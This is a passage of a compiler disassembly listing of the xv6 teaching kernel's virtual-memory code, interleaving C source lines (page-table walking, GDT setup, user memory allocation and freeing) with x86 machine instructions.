$0xffc,%edx 801063c2: 8d 04 13 lea (%ebx,%edx,1),%eax } 801063c5: 5b pop %ebx 801063c6: 5e pop %esi 801063c7: 5f pop %edi 801063c8: 5d pop %ebp 801063c9: c3 ret 801063ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(!alloc || (pgtab = (pte_t*)kalloc()) == 0) 801063d0: 85 c9 test %ecx,%ecx 801063d2: 74 34 je 80106408 <walkpgdir+0x78> 801063d4: e8 a7 c0 ff ff call 80102480 <kalloc> 801063d9: 85 c0 test %eax,%eax 801063db: 89 c3 mov %eax,%ebx 801063dd: 74 29 je 80106408 <walkpgdir+0x78> memset(pgtab, 0, PGSIZE); 801063df: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 801063e6: 00 801063e7: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 801063ee: 00 801063ef: 89 04 24 mov %eax,(%esp) 801063f2: e8 69 de ff ff call 80104260 <memset> *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; 801063f7: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 801063fd: 83 c8 07 or $0x7,%eax 80106400: 89 07 mov %eax,(%edi) 80106402: eb b0 jmp 801063b4 <walkpgdir+0x24> 80106404: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } 80106408: 83 c4 1c add $0x1c,%esp return 0; 8010640b: 31 c0 xor %eax,%eax } 8010640d: 5b pop %ebx 8010640e: 5e pop %esi 8010640f: 5f pop %edi 80106410: 5d pop %ebp 80106411: c3 ret 80106412: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106419: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106420 <deallocuvm.part.0>: // Deallocate user pages to bring the process size from oldsz to // newsz. oldsz and newsz need not be page-aligned, nor does newsz // need to be less than oldsz. oldsz can be larger than the actual // process size. Returns the new process size. int deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 80106420: 55 push %ebp 80106421: 89 e5 mov %esp,%ebp 80106423: 57 push %edi 80106424: 89 c7 mov %eax,%edi 80106426: 56 push %esi 80106427: 89 d6 mov %edx,%esi 80106429: 53 push %ebx uint a, pa; if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); 8010642a: 8d 99 ff 0f 00 00 lea 0xfff(%ecx),%ebx deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 80106430: 83 ec 1c sub $0x1c,%esp a = PGROUNDUP(newsz); 80106433: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; a < oldsz; a += PGSIZE){ 80106439: 39 d3 cmp %edx,%ebx deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 8010643b: 89 4d e0 mov %ecx,-0x20(%ebp) for(; a < oldsz; a += PGSIZE){ 8010643e: 72 3b jb 8010647b <deallocuvm.part.0+0x5b> 80106440: eb 5e jmp 801064a0 <deallocuvm.part.0+0x80> 80106442: 8d b6 00 00 00 00 lea 0x0(%esi),%esi pte = walkpgdir(pgdir, (char*)a, 0); if(!pte) a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; else if((*pte & PTE_P) != 0){ 80106448: 8b 10 mov (%eax),%edx 8010644a: f6 c2 01 test $0x1,%dl 8010644d: 74 22 je 80106471 <deallocuvm.part.0+0x51> pa = PTE_ADDR(*pte); if(pa == 0) 8010644f: 81 e2 00 f0 ff ff and $0xfffff000,%edx 80106455: 74 54 je 801064ab <deallocuvm.part.0+0x8b> panic("kfree"); char *v = P2V(pa); 80106457: 81 c2 00 00 00 80 add $0x80000000,%edx kfree(v); 8010645d: 89 14 24 mov %edx,(%esp) 80106460: 89 45 e4 mov %eax,-0x1c(%ebp) 80106463: e8 68 be ff ff call 801022d0 <kfree> *pte = 0; 80106468: 8b 45 e4 mov -0x1c(%ebp),%eax 8010646b: c7 00 00 00 00 00 movl $0x0,(%eax) for(; a < oldsz; a += PGSIZE){ 80106471: 81 c3 00 10 00 00 add $0x1000,%ebx 80106477: 39 f3 cmp %esi,%ebx 80106479: 73 25 jae 801064a0 <deallocuvm.part.0+0x80> pte = walkpgdir(pgdir, (char*)a, 0); 8010647b: 31 c9 xor %ecx,%ecx 8010647d: 89 da mov %ebx,%edx 8010647f: 89 f8 mov %edi,%eax 80106481: e8 0a ff ff ff call 80106390 <walkpgdir> if(!pte) 80106486: 85 c0 test %eax,%eax 80106488: 75 be jne 80106448 <deallocuvm.part.0+0x28> a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; 8010648a: 81 e3 00 00 c0 ff and $0xffc00000,%ebx 80106490: 81 c3 00 f0 3f 00 add $0x3ff000,%ebx for(; a < oldsz; a += PGSIZE){ 80106496: 81 c3 00 10 00 00 add $0x1000,%ebx 8010649c: 39 f3 cmp %esi,%ebx 8010649e: 72 db jb 8010647b <deallocuvm.part.0+0x5b> } } return newsz; } 801064a0: 8b 45 e0 mov -0x20(%ebp),%eax 801064a3: 83 c4 1c add $0x1c,%esp 801064a6: 5b pop %ebx 801064a7: 5e pop %esi 801064a8: 5f pop %edi 801064a9: 5d pop %ebp 801064aa: c3 ret panic("kfree"); 801064ab: c7 04 24 66 70 10 80 movl $0x80107066,(%esp) 801064b2: e8 a9 9e ff ff call 80100360 <panic> 801064b7: 89 f6 mov %esi,%esi 801064b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801064c0 <seginit>: { 801064c0: 55 push %ebp 801064c1: 89 e5 mov %esp,%ebp 801064c3: 83 ec 18 sub $0x18,%esp c = &cpus[cpuid()]; 801064c6: e8 95 d1 ff ff call 80103660 <cpuid> c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 801064cb: 31 c9 xor %ecx,%ecx 801064cd: ba ff ff ff ff mov $0xffffffff,%edx c = &cpus[cpuid()]; 801064d2: 69 c0 b0 00 00 00 imul $0xb0,%eax,%eax 801064d8: 05 80 27 11 80 add $0x80112780,%eax c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 801064dd: 66 89 50 78 mov %dx,0x78(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 801064e1: ba ff ff ff ff mov $0xffffffff,%edx lgdt(c->gdt, sizeof(c->gdt)); 801064e6: 83 c0 70 add $0x70,%eax c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 801064e9: 66 89 48 0a mov %cx,0xa(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 801064ed: 31 c9 xor %ecx,%ecx 801064ef: 66 89 50 10 mov %dx,0x10(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 801064f3: ba ff ff ff ff mov $0xffffffff,%edx c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 801064f8: 66 89 48 12 mov %cx,0x12(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 801064fc: 31 c9 xor %ecx,%ecx 801064fe: 66 89 50 18 mov %dx,0x18(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 80106502: ba ff ff ff ff mov $0xffffffff,%edx c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 80106507: 66 89 48 1a mov %cx,0x1a(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 8010650b: 31 c9 xor %ecx,%ecx c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 8010650d: c6 40 0d 9a movb $0x9a,0xd(%eax) 80106511: c6 40 0e cf movb $0xcf,0xe(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 80106515: c6 40 15 92 movb $0x92,0x15(%eax) 80106519: c6 40 16 cf movb $0xcf,0x16(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 8010651d: c6 40 1d fa movb $0xfa,0x1d(%eax) 80106521: c6 40 1e cf movb $0xcf,0x1e(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 80106525: c6 40 25 f2 movb $0xf2,0x25(%eax) 80106529: c6 40 26 cf movb $0xcf,0x26(%eax) 8010652d: 66 89 50 20 mov %dx,0x20(%eax) pd[0] = size-1; 80106531: ba 2f 00 00 00 mov $0x2f,%edx c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 80106536: c6 40 0c 00 movb $0x0,0xc(%eax) 8010653a: c6 40 0f 00 movb $0x0,0xf(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 8010653e: c6 40 14 00 movb $0x0,0x14(%eax) 80106542: c6 40 17 00 movb $0x0,0x17(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 80106546: c6 40 1c 00 movb $0x0,0x1c(%eax) 8010654a: c6 40 1f 00 movb $0x0,0x1f(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 8010654e: 66 89 48 22 mov %cx,0x22(%eax) 80106552: c6 40 24 00 movb $0x0,0x24(%eax) 80106556: c6 40 27 00 movb $0x0,0x27(%eax) 8010655a: 66 89 55 f2 mov %dx,-0xe(%ebp) pd[1] = (uint)p; 8010655e: 66 89 45 f4 mov %ax,-0xc(%ebp) pd[2] = (uint)p >> 16; 80106562: c1 e8 10 shr $0x10,%eax 80106565: 66 89 45 f6 mov %ax,-0xa(%ebp) asm volatile("lgdt (%0)" : : "r" (pd)); 80106569: 8d 45 f2 lea -0xe(%ebp),%eax 8010656c: 0f 01 10 lgdtl (%eax) } 8010656f: c9 leave 80106570: c3 ret 80106571: eb 0d jmp 80106580 <mappages> 80106573: 90 nop 80106574: 90 nop 80106575: 90 nop 80106576: 90 nop 80106577: 90 nop 80106578: 90 nop 80106579: 90 nop 8010657a: 90 nop 8010657b: 90 nop 8010657c: 90 nop 8010657d: 90 nop 8010657e: 90 nop 8010657f: 90 nop 80106580 <mappages>: { 80106580: 55 push %ebp 80106581: 89 e5 mov %esp,%ebp 80106583: 57 push %edi 80106584: 56 push %esi 80106585: 53 push %ebx 80106586: 83 ec 1c sub $0x1c,%esp 80106589: 8b 45 0c mov 0xc(%ebp),%eax last = (char*)PGROUNDDOWN(((uint)va) + size - 1); 8010658c: 8b 55 10 mov 0x10(%ebp),%edx { 8010658f: 8b 7d 14 mov 0x14(%ebp),%edi *pte = pa | perm | PTE_P; 80106592: 83 4d 18 01 orl $0x1,0x18(%ebp) a = (char*)PGROUNDDOWN((uint)va); 80106596: 89 c3 mov %eax,%ebx 80106598: 81 e3 00 f0 ff ff and $0xfffff000,%ebx last = (char*)PGROUNDDOWN(((uint)va) + size - 1); 8010659e: 8d 44 10 ff lea -0x1(%eax,%edx,1),%eax 801065a2: 29 df sub %ebx,%edi 801065a4: 89 45 e4 mov %eax,-0x1c(%ebp) 801065a7: 81 65 e4 00 f0 ff ff andl $0xfffff000,-0x1c(%ebp) 801065ae: eb 15 jmp 801065c5 <mappages+0x45> if(*pte & PTE_P) 801065b0: f6 00 01 testb $0x1,(%eax) 801065b3: 75 3d jne 801065f2 <mappages+0x72> *pte = pa | perm | PTE_P; 801065b5: 0b 75 18 or 0x18(%ebp),%esi if(a == last) 801065b8: 3b 5d e4 cmp -0x1c(%ebp),%ebx *pte = pa | perm | PTE_P; 801065bb: 89 30 mov %esi,(%eax) if(a == last) 801065bd: 74 29 je 801065e8 <mappages+0x68> a += PGSIZE; 801065bf: 81 c3 00 10 00 00 add $0x1000,%ebx if((pte = walkpgdir(pgdir, a, 1)) == 0) 801065c5: 8b 45 08 mov 0x8(%ebp),%eax 801065c8: b9 01 00 00 00 mov $0x1,%ecx 801065cd: 89 da mov %ebx,%edx 801065cf: 8d 34 3b lea (%ebx,%edi,1),%esi 801065d2: e8 b9 fd ff ff call 80106390 <walkpgdir> 801065d7: 85 c0 test %eax,%eax 801065d9: 75 d5 jne 801065b0 <mappages+0x30> } 801065db: 83 c4 1c add $0x1c,%esp return -1; 801065de: b8 ff ff ff ff mov $0xffffffff,%eax } 801065e3: 5b pop %ebx 801065e4: 5e pop %esi 801065e5: 5f pop %edi 801065e6: 5d pop %ebp 801065e7: c3 ret 801065e8: 83 c4 1c add $0x1c,%esp return 0; 801065eb: 31 c0 xor %eax,%eax } 801065ed: 5b pop %ebx 801065ee: 5e pop %esi 801065ef: 5f pop %edi 801065f0: 5d pop %ebp 801065f1: c3 ret panic("remap"); 801065f2: c7 04 24 2c 77 10 80 movl $0x8010772c,(%esp) 801065f9: e8 62 9d ff ff call 80100360 <panic> 801065fe: 66 90 xchg %ax,%ax 80106600 <switchkvm>: lcr3(V2P(kpgdir)); // switch to the kernel page table 80106600: a1 a4 55 11 80 mov 0x801155a4,%eax { 80106605: 55 push %ebp 80106606: 89 e5 mov %esp,%ebp lcr3(V2P(kpgdir)); // switch to the kernel page table 80106608: 05 00 00 00 80 add $0x80000000,%eax } static inline void lcr3(uint val) { asm volatile("movl %0,%%cr3" : : "r" (val)); 8010660d: 0f 22 d8 mov %eax,%cr3 } 80106610: 5d pop %ebp 80106611: c3 ret 80106612: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106619: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106620 <switchuvm>: { 80106620: 55 push %ebp 80106621: 89 e5 mov %esp,%ebp 80106623: 57 push %edi 80106624: 56 push %esi 80106625: 53 push %ebx 80106626: 83 ec 1c sub $0x1c,%esp 80106629: 8b 75 08 mov 0x8(%ebp),%esi if(p == 0) 8010662c: 85 f6 test %esi,%esi 8010662e: 0f 84 cd 00 00 00 je 80106701 <switchuvm+0xe1> if(p->kstack == 0) 80106634: 8b 46 08 mov 0x8(%esi),%eax 80106637: 85 c0 test %eax,%eax 80106639: 0f 84 da 00 00 00 je 80106719 <switchuvm+0xf9> if(p->pgdir == 0) 8010663f: 8b 7e 04 mov 0x4(%esi),%edi 80106642: 85 ff test %edi,%edi 80106644: 0f 84 c3 00 00 00 je 8010670d <switchuvm+0xed> pushcli(); 8010664a: e8 91 da ff ff call 801040e0 <pushcli> mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts, 8010664f: e8 8c cf ff ff call 801035e0 <mycpu> 80106654: 89 c3 mov %eax,%ebx 80106656: e8 85 cf ff ff call 801035e0 <mycpu> 8010665b: 89 c7 mov %eax,%edi 8010665d: e8 7e cf ff ff call 801035e0 <mycpu> 80106662: 83 c7 08 add $0x8,%edi 80106665: 89 45 e4 mov %eax,-0x1c(%ebp) 80106668: e8 73 cf ff ff call 801035e0 <mycpu> 8010666d: 8b 4d e4 mov -0x1c(%ebp),%ecx 80106670: ba 67 00 00 00 mov $0x67,%edx 80106675: 66 89 93 98 00 00 00 mov %dx,0x98(%ebx) 8010667c: 66 89 bb 9a 00 00 00 mov %di,0x9a(%ebx) 80106683: c6 83 9d 00 00 00 99 movb $0x99,0x9d(%ebx) 8010668a: 83 c1 08 add $0x8,%ecx 8010668d: c1 e9 10 shr $0x10,%ecx 80106690: 83 c0 08 add $0x8,%eax 80106693: c1 e8 18 shr $0x18,%eax 80106696: 88 8b 9c 00 00 00 mov %cl,0x9c(%ebx) 8010669c: c6 83 9e 00 00 00 40 movb $0x40,0x9e(%ebx) 801066a3: 88 83 9f 00 00 00 mov %al,0x9f(%ebx) mycpu()->ts.iomb = (ushort) 0xFFFF; 801066a9: bb ff ff ff ff mov $0xffffffff,%ebx mycpu()->gdt[SEG_TSS].s = 0; 801066ae: e8 2d cf ff ff call 801035e0 <mycpu> 801066b3: 80 a0 9d 00 00 00 ef andb $0xef,0x9d(%eax) mycpu()->ts.ss0 = SEG_KDATA << 3; 801066ba: e8 21 cf ff ff call 801035e0 <mycpu> 801066bf: b9 10 00 00 00 mov $0x10,%ecx 801066c4: 66 89 48 10 mov %cx,0x10(%eax) mycpu()->ts.esp0 = (uint)p->kstack + KSTACKSIZE; 801066c8: e8 13 cf ff ff call 801035e0 <mycpu> 801066cd: 8b 56 08 mov 0x8(%esi),%edx 801066d0: 8d 8a 00 10 00 00 lea 0x1000(%edx),%ecx 801066d6: 89 48 0c mov %ecx,0xc(%eax) mycpu()->ts.iomb = (ushort) 0xFFFF; 801066d9: e8 02 cf ff ff call 801035e0 <mycpu> 801066de: 66 89 58 6e mov %bx,0x6e(%eax) asm volatile("ltr %0" : : "r" (sel)); 801066e2: b8 28 00 00 00 mov $0x28,%eax 801066e7: 0f 00 d8 ltr %ax lcr3(V2P(p->pgdir)); // switch to process's address space 801066ea: 8b 46 04 mov 0x4(%esi),%eax 801066ed: 05 00 00 00 80 add $0x80000000,%eax asm volatile("movl %0,%%cr3" : : "r" (val)); 801066f2: 0f 22 d8 mov %eax,%cr3 } 801066f5: 83 c4 1c add $0x1c,%esp 801066f8: 5b pop %ebx 801066f9: 5e pop %esi 801066fa: 5f pop %edi 801066fb: 5d pop %ebp popcli(); 801066fc: e9 9f da ff ff jmp 801041a0 <popcli> panic("switchuvm: no process"); 80106701: c7 04 24 32 77 10 80 movl $0x80107732,(%esp) 80106708: e8 53 9c ff ff call 80100360 <panic> panic("switchuvm: no pgdir"); 8010670d: c7 04 24 5d 77 10 80 movl $0x8010775d,(%esp) 80106714: e8 47 9c ff ff call 80100360 <panic> panic("switchuvm: no kstack"); 80106719: c7 04 24 48 77 10 80 movl $0x80107748,(%esp) 80106720: e8 3b 9c ff ff call 80100360 <panic> 80106725: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106729: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106730 <inituvm>: { 80106730: 55 push %ebp 80106731: 89 e5 mov %esp,%ebp 80106733: 57 push %edi 80106734: 56 push %esi 80106735: 53 push %ebx 80106736: 83 ec 2c sub $0x2c,%esp 80106739: 8b 75 10 mov 0x10(%ebp),%esi 8010673c: 8b 55 08 mov 0x8(%ebp),%edx 8010673f: 8b 7d 0c mov 0xc(%ebp),%edi if(sz >= PGSIZE) 80106742: 81 fe ff 0f 00 00 cmp $0xfff,%esi 80106748: 77 64 ja 801067ae <inituvm+0x7e> 8010674a: 89 55 e4 mov %edx,-0x1c(%ebp) mem = kalloc(); 8010674d: e8 2e bd ff ff call 80102480 <kalloc> memset(mem, 0, PGSIZE); 80106752: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106759: 00 8010675a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80106761: 00 80106762: 89 04 24 mov %eax,(%esp) mem = kalloc(); 80106765: 89 c3 mov %eax,%ebx memset(mem, 0, PGSIZE); 80106767: e8 f4 da ff ff call 80104260 <memset> mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U); 8010676c: 8b 55 e4 mov -0x1c(%ebp),%edx 8010676f: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 80106775: c7 44 24 10 06 00 00 movl $0x6,0x10(%esp) 8010677c: 00 8010677d: 89 44 24 0c mov %eax,0xc(%esp) 80106781: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106788: 00 80106789: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80106790: 00 80106791: 89 14 24 mov %edx,(%esp) 80106794: e8 e7 fd ff ff call 80106580 <mappages> memmove(mem, init, sz); 80106799: 89 75 10 mov %esi,0x10(%ebp) 8010679c: 89 7d 0c mov %edi,0xc(%ebp) 8010679f: 89 5d 08 mov %ebx,0x8(%ebp) } 801067a2: 83 c4 2c add $0x2c,%esp 801067a5: 5b pop %ebx 801067a6: 5e pop %esi 801067a7: 5f pop %edi 801067a8: 5d pop %ebp memmove(mem, init, sz); 801067a9: e9 52 db ff ff jmp 80104300 <memmove> panic("inituvm: more than a page"); 801067ae: c7 04 24 71 77 10 80 movl $0x80107771,(%esp) 801067b5: e8 a6 9b ff ff call 80100360 <panic> 801067ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801067c0 <loaduvm>: { 801067c0: 55 push %ebp 801067c1: 89 e5 mov %esp,%ebp 801067c3: 57 push %edi 801067c4: 56 push %esi 801067c5: 53 push %ebx 801067c6: 83 ec 1c sub $0x1c,%esp if((uint) addr % PGSIZE != 0) 801067c9: f7 45 0c ff 0f 00 00 testl $0xfff,0xc(%ebp) 801067d0: 0f 85 98 00 00 00 jne 8010686e <loaduvm+0xae> for(i = 0; i < sz; i += PGSIZE){ 801067d6: 8b 75 18 mov 0x18(%ebp),%esi 801067d9: 31 db xor %ebx,%ebx 801067db: 85 f6 test %esi,%esi 801067dd: 75 1a jne 801067f9 <loaduvm+0x39> 801067df: eb 77 jmp 80106858 <loaduvm+0x98> 801067e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801067e8: 81 c3 00 10 00 00 add $0x1000,%ebx 801067ee: 81 ee 00 10 00 00 sub $0x1000,%esi 801067f4: 39 5d 18 cmp %ebx,0x18(%ebp) 801067f7: 76 5f jbe 80106858 <loaduvm+0x98> 801067f9: 8b 55 0c mov 0xc(%ebp),%edx if((pte = walkpgdir(pgdir, addr+i, 0)) == 0) 801067fc: 31 c9 xor %ecx,%ecx 801067fe: 8b 45 08 mov 0x8(%ebp),%eax 80106801: 01 da add %ebx,%edx 80106803: e8 88 fb ff ff call 80106390 <walkpgdir> 80106808: 85 c0 test %eax,%eax 8010680a: 74 56 je 80106862 <loaduvm+0xa2> pa = PTE_ADDR(*pte); 8010680c: 8b 00 mov (%eax),%eax n = PGSIZE; 8010680e: bf 00 10 00 00 mov $0x1000,%edi 80106813: 8b 4d 14 mov 0x14(%ebp),%ecx pa = PTE_ADDR(*pte); 80106816: 25 00 f0 ff ff and $0xfffff000,%eax n = PGSIZE; 8010681b: 81 fe 00 10 00 00 cmp $0x1000,%esi 80106821: 0f 42 fe cmovb %esi,%edi if(readi(ip, P2V(pa), offset+i, n) != n) 80106824: 05 00 00 00 80 add $0x80000000,%eax 80106829: 89 44 24 04 mov %eax,0x4(%esp) 8010682d: 8b 45 10 mov 0x10(%ebp),%eax 80106830: 01 d9 add %ebx,%ecx 80106832: 89 7c 24 0c mov %edi,0xc(%esp) 80106836: 89 4c 24 08 mov %ecx,0x8(%esp) 8010683a: 89 04 24 mov %eax,(%esp) 8010683d: e8 fe b0 ff ff call 80101940 <readi> 80106842: 39 f8 cmp %edi,%eax 80106844: 74 a2 je 801067e8 <loaduvm+0x28> } 80106846: 83 c4 1c add $0x1c,%esp return -1; 80106849: b8 ff ff ff ff mov $0xffffffff,%eax } 8010684e: 5b pop %ebx 8010684f: 5e pop %esi 80106850: 5f pop %edi 80106851: 5d pop %ebp 80106852: c3 ret 80106853: 90 nop 80106854: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106858: 83 c4 1c add $0x1c,%esp return 0; 8010685b: 31 c0 xor %eax,%eax } 8010685d: 5b pop %ebx 8010685e: 5e pop %esi 8010685f: 5f pop %edi 80106860: 5d pop %ebp 80106861: c3 ret panic("loaduvm: address should exist"); 80106862: c7 04 24 8b 77 10 80 movl $0x8010778b,(%esp) 80106869: e8 f2 9a ff ff call 80100360 <panic> panic("loaduvm: addr must be page aligned"); 8010686e: c7 04 24 2c 78 10 80 movl $0x8010782c,(%esp) 80106875: e8 e6 9a ff ff call 80100360 <panic> 8010687a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106880 <allocuvm>: { 80106880: 55 push %ebp 80106881: 89 e5 mov %esp,%ebp 80106883: 57 push %edi 80106884: 56 push %esi 80106885: 53 push %ebx 80106886: 83 ec 2c sub $0x2c,%esp 80106889: 8b 7d 10 mov 0x10(%ebp),%edi if(newsz >= KERNBASE) 8010688c: 85 ff test %edi,%edi 8010688e: 0f 88 8f 00 00 00 js 80106923 <allocuvm+0xa3> if(newsz < oldsz) 80106894: 3b 7d 0c cmp 0xc(%ebp),%edi return oldsz; 80106897: 8b 45 0c mov 0xc(%ebp),%eax if(newsz < oldsz) 8010689a: 0f 82 85 00 00 00 jb 80106925 <allocuvm+0xa5> a = PGROUNDUP(oldsz); 801068a0: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 801068a6: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; a < newsz; a += PGSIZE){ 801068ac: 39 df cmp %ebx,%edi 801068ae: 77 57 ja 80106907 <allocuvm+0x87> 801068b0: eb 7e jmp 80106930 <allocuvm+0xb0> 801068b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi memset(mem, 0, PGSIZE); 801068b8: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 801068bf: 00 801068c0: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 801068c7: 00 801068c8: 89 04 24 mov %eax,(%esp) 801068cb: e8 90 d9 ff ff call 80104260 <memset> if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){ 801068d0: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax 801068d6: 89 44 24 0c mov %eax,0xc(%esp) 801068da: 8b 45 08 mov 0x8(%ebp),%eax 801068dd: c7 44 24 10 06 00 00 movl $0x6,0x10(%esp) 801068e4: 00 801068e5: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 801068ec: 00 801068ed: 89 5c 24 04 mov %ebx,0x4(%esp) 801068f1: 89 04 24 mov %eax,(%esp) 801068f4: e8 87 fc ff ff call 80106580 <mappages> 801068f9: 85 c0 test %eax,%eax 801068fb: 78 43 js 80106940 <allocuvm+0xc0> for(; a < newsz; a += PGSIZE){ 801068fd: 81 c3 00 10 00 00 add $0x1000,%ebx 80106903: 39 df cmp %ebx,%edi 80106905: 76 29 jbe 80106930 <allocuvm+0xb0> mem = kalloc(); 80106907: e8 74 bb ff ff call 80102480 <kalloc> if(mem == 0){ 8010690c: 85 c0 test %eax,%eax mem = kalloc(); 8010690e: 89 c6 mov %eax,%esi if(mem == 0){ 80106910: 75 a6 jne 801068b8 <allocuvm+0x38> cprintf("allocuvm out of memory\n"); 80106912: c7 04 24 a9 77 10 80 movl $0x801077a9,(%esp) 80106919: e8 32 9d ff ff call 80100650 <cprintf> if(newsz >= oldsz) 8010691e: 3b 7d 0c cmp 0xc(%ebp),%edi 80106921: 77 47 ja 8010696a <allocuvm+0xea> return 0; 80106923: 31 c0 xor %eax,%eax } 80106925: 83 c4 2c add $0x2c,%esp 80106928: 5b pop %ebx 80106929: 5e pop %esi 8010692a: 5f pop %edi 8010692b: 5d pop %ebp 8010692c: c3 ret 8010692d: 8d 76 00 lea 0x0(%esi),%esi 80106930: 83 c4 2c add $0x2c,%esp 80106933: 89 f8 mov %edi,%eax 80106935: 5b pop %ebx 80106936: 5e pop %esi 80106937: 5f pop %edi 80106938: 5d pop %ebp 80106939: c3 ret 8010693a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cprintf("allocuvm out of memory (2)\n"); 80106940: c7 04 24 c1 77 10 80 movl $0x801077c1,(%esp) 80106947: e8 04 9d ff ff call 80100650 <cprintf> if(newsz >= oldsz) 8010694c: 3b 7d 0c cmp 0xc(%ebp),%edi 8010694f: 76 0d jbe 8010695e <allocuvm+0xde> 80106951: 8b 4d 0c mov 0xc(%ebp),%ecx 80106954: 89 fa mov %edi,%edx 80106956: 8b 45 08 mov 0x8(%ebp),%eax 80106959: e8 c2 fa ff ff call 80106420 <deallocuvm.part.0> kfree(mem); 8010695e: 89 34 24 mov %esi,(%esp) 80106961: e8 6a b9 ff ff call 801022d0 <kfree> return 0; 80106966: 31 c0 xor %eax,%eax 80106968: eb bb jmp 80106925 <allocuvm+0xa5> 8010696a: 8b 4d 0c mov 0xc(%ebp),%ecx 8010696d: 89 fa mov %edi,%edx 8010696f: 8b 45 08 mov 0x8(%ebp),%eax 80106972: e8 a9 fa ff ff call 80106420 <deallocuvm.part.0> return 0; 80106977: 31 c0 xor %eax,%eax 80106979: eb aa jmp 80106925 <allocuvm+0xa5> 8010697b: 90 nop 8010697c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106980 <deallocuvm>: { 80106980: 55 push %ebp 80106981: 89 e5 mov %esp,%ebp 80106983: 8b 55 0c mov 0xc(%ebp),%edx 80106986: 8b 4d 10 mov 0x10(%ebp),%ecx 80106989: 8b 45 08 mov 0x8(%ebp),%eax if(newsz >= oldsz) 8010698c: 39 d1 cmp %edx,%ecx 8010698e: 73 08 jae 80106998 <deallocuvm+0x18> } 80106990: 5d pop %ebp 80106991: e9 8a fa ff ff jmp 80106420 <deallocuvm.part.0> 80106996: 66 90 xchg %ax,%ax 80106998: 89 d0 mov %edx,%eax 8010699a: 5d pop %ebp 8010699b: c3 ret 8010699c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801069a0 <freevm>: // Free a page table and all the physical memory pages // in the user part. void freevm(pde_t *pgdir) { 801069a0: 55 push %ebp 801069a1: 89 e5 mov %esp,%ebp 801069a3: 56 push %esi 801069a4: 53 push %ebx 801069a5: 83 ec 10 sub $0x10,%esp 801069a8: 8b 75 08 mov 0x8(%ebp),%esi uint i; if(pgdir == 0) 801069ab: 85 f6 test %esi,%esi 801069ad: 74 59 je 80106a08 <freevm+0x68> 801069af: 31 c9 xor %ecx,%ecx 801069b1: ba 00 00 00 80 mov $0x80000000,%edx 801069b6: 89 f0 mov %esi,%eax panic("freevm: no pgdir"); deallocuvm(pgdir, KERNBASE, 0); for(i = 0; i < NPDENTRIES; i++){ 801069b8: 31 db xor 